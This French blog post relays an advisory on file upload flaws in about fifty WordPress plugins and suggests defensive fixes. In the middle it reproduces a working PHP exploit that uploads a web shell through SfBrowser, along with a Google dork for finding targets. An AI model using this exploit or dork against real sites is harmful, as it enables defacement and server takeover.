Je viens de recevoir par email un adviso de la société Seraum spécialisée en sécurité informatique, qui a mis au jour une faille critique permettant l'upload de fichiers dans plus de 50 plugins WordPress. Du coup, c'est important que vous soyez au courant que si vous utilisez un de ces plugins, vous pouvez vous faire défacer en 2 secondes par un script kiddy qui n'aurait pas école aujourd'hui.

  • Homepage slideshow
  • 3D banner rotator
  • - Nmedia User File Uploader
  • - Front end upload
  • - Poverplay gallery
  • - WordPress Accordion Gallery
  • - Wp superb slideshow
  • - Wp-Property
  • - Video Gallery 1.3
  • - HTML5 Av Manager
  • - Royal Gallery
  • - 3D Flick Slideshow
  • - Image News Slider
  • - RBX Gallery
  • - wp-gpx-map
  • - File groups
  • - User Meta
  • - SfBrowser
  • - WPStoreCart
  • - Hungred Post Thumbnail
  • - MM Forms Community
  • - Tinymce Remind
  • - Gallery
  • - Thinkun Remind
  • - Foxypress
  • - PDW File Browser
  • - VideoWhisper
  • - WordPress Font Uploader
  • - FCChat Widget
  • - Comment Extra Fields
  • - Nmedia WordPress Member Conversation
  • - PictureSurf Gallery
  • - Really simple Gallery (probably vuln)
  • - PICA Photo Gallery
  • - Asset Manager
  • - Vertical slideshow
  • - Carousel slideshow
  • - Front file manager
  • - Omni secure files
  • - Mac photo gallery
  • - Smart slideshow
  • - Bliss Galery
  • - YASS
  • - Catpro Gallery
  • - Matrix Gallery
  • - Gallery Explorer
  • - Dreamwork Gallery
  • - Blaze slideshow
  • - Slideshow pro

Voici l'exploit en question appliqué à l'un de ces plugins :

###########################################################
#
# Exploit Title: WordPress SfBrowser Version 1.4.5 Arbitrary File Upload
# Google Dork: inurl:wp-content/plugins/sfbrowser/connectors/php/
# Date: 11/06/2012
# Exploit Author: Adrien Thierry
# Vendor Homepage: http://www.sjeiti.com/
# Software Link: http://downloads.wordpress.org/plugin/sfbrowser.zip
# Version: 1.4.5
#
###########################################################

Vuln page : http://mysite.com/wp-content/plugins/sfbrowser/connectors/php/sfbrowser.php

exploit :

<?php
$u="C:\Program Files (x86)\EasyPHP-5.3.9\www\shell.ptxt";
$c = curl_init("http://127.0.0.1/wp/wp-content/plugins/sfbrowser/connectors/php/sfbrowser.php");
curl_setopt($c, CURLOPT_POST, true);
curl_setopt($c, CURLOPT_POSTFIELDS,
array('fileToUpload'=>"@$u",
'a'=>"upload",
'file'=>"",
'deny'=>"lam",
'allow'=>"ptxt|exe|sh",
'resize'=>array(0,0)));
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
$e = curl_exec($c);
curl_close($c);
echo $e;
?>

shell Access : http://mysite.com/wp-content/plugins/sfbrowser/shell.ptxt

Pour se protéger, plusieurs possibilités à part virer le plugin vulnérable:

  • Placer un fichier .htaccess dans les dossiers de plugin
  • Placer des index.php vides dans les dossiers qui n'en ont pas
  • Inclure un appel aux variables ABSPATH ou session admin au début de chaque script php

Quand les dev font de la merde, les admins trinquent ;-)

Bonne sécurisation à tous !

Merci à Adrien Thierry, l'auteur de cet exploit de m'avoir informé.

Il y a aussi ce site, learn to secure your WordPress Installation